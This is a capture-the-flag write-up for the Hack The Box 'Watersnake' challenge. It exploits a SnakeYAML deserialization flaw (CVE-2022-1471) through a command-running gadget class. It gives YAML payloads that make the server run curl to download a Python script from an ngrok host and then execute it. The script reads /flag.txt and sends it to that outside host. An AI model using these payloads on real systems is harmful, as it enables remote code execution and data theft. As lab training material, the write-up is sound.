Watersnake

target

167.99.85.216:30105

Let's download the files from hackthebox

we can unzip the files using the following tool

7z x Watersnake.zip

Looking at the web application we can see the following

we can see

  • the application name and version watersnake v3

we can also see information related to to the firmware update

when we open the challenge folder is vs code we can see

  • this is a java application

if we look in vscode we have

Looking in Controller.java

Within the bottom box it looks like from our input stream it's grabbing some yaml, doing a yaml load

if we look at the top of the code we can see where it has been imported

so if we go over to our pom.xml

what is pom.xml

  • is a configuration file used in Apache Maven, a widely used build and project management tool in the java ecosystem, the POM stands for Project Object Model. This file contains information about the project (for us watersnake) and configuration details used by Maven to manage the project buld lifecycle, dependencies, plugins, and other aspects

some key details we could find in the pom.xml file is

  • Project information

  • Build configuration

  • Dependencies

  • Repositories

  • plugin configurations

we can also find the version of snakeyaml being used

Now we can google any vulns associated with this specific version

  • looks like it is vulnerable to CVE-2022-1471 , which is a unsafe deserialization vulnerability, deserializing yaml content provided by an attacker can lead to RCE

  • here is a blog that can explain it better then i can

Okay let's work with this

within the Controller.java we can see there is a function, that does indeed execute a command to the backend system

if we look the the GetWaterLevel.java file we can see

package com.lean.watersnake;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class GetWaterLevel {
    public static String readFromSensor(String value) throws IOException {
        ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
        Process process = processBuilder.start();

        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        StringBuilder output = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }

        try {
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                throw new IOException("[-] Command execution failed with exit code " + exitCode);
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException("[-] Command execution interrupted", e);
        }

        return output.toString();
    }

    public void initiateSensor(String value) {
        try {
			readFromSensor(value);
		} catch (IOException e) {
			System.out.println(e.getMessage());
		}
    }

    public GetWaterLevel(String value) {
        initiateSensor(value);
   }
}

we can see

  • it is taking the value as input and splitting it

  • then it is feeding that value into our command

  • it then tries to run the command

we know now we have our gadget GetWaterLevel so we can use this

Essentially we are going to put together a YAML payload (more information within the blog)

  1. Let's start a ngrok server

ngrok http 80

2. Let's start a python servers

python3 -m http.server 80
  1. our yaml payload

some_var: !!com.lean.watersnake.GetWaterLevel ["curl -o run.py https://437f-112-141-174-143.ngrok-free.app/run.py"]
  • some-var : this is a variable

  • !!com.lean.watersnake.GetWaterLevel : path to the gadget we will be utilising

  • then our commands we ant to run on the system for this we will ruynning a python script

  1. Our python script run.py

import socket
from pathlib import Path
from base64 import b64encode

# Define the server's host and port
host = '437f-112-141-174-143.ngrok-free.app'
port = 80

# Read the content of the 'flag.txt' file in binary mode
flag = Path('/flag.txt').open('rb').read()

# Create a socket
with socket.socket() as s:
    try:
        # Connect to the specified host and port
        s.connect((host, port))

        # Construct an HTTP GET request with a base64-encoded flag in the path
        request = f"GET /{b64encode(flag).decode()} HTTP/1.1\r\nHost: {host}\r\n\r\n"

        # Send the HTTP request to the server
        s.sendall(request.encode())

        # Receive the server's response (assuming a simple response)
        response = s.recv(1024)  # Adjust the buffer size as needed

        # Print the received response
        print(response.decode())

    except Exception as e:
        # Handle exceptions, if any, during the execution
        print(f"Error: {e}")


  1. Now to grab our python script we are going to utilize the firmware update panel

  1. From here we should have a hit, our script was downloaded successfully

  1. Now we just need to execute the script, we can create another yaml payload to do this

some_var: !!com.lean.watersnake.GetWaterLevel ["python3 run.py"]
  1. Now if we look at our python3 server we should see a base64 encoded flag

  2. decode the flag

echo "encodedflag" | base64 -d

Last updated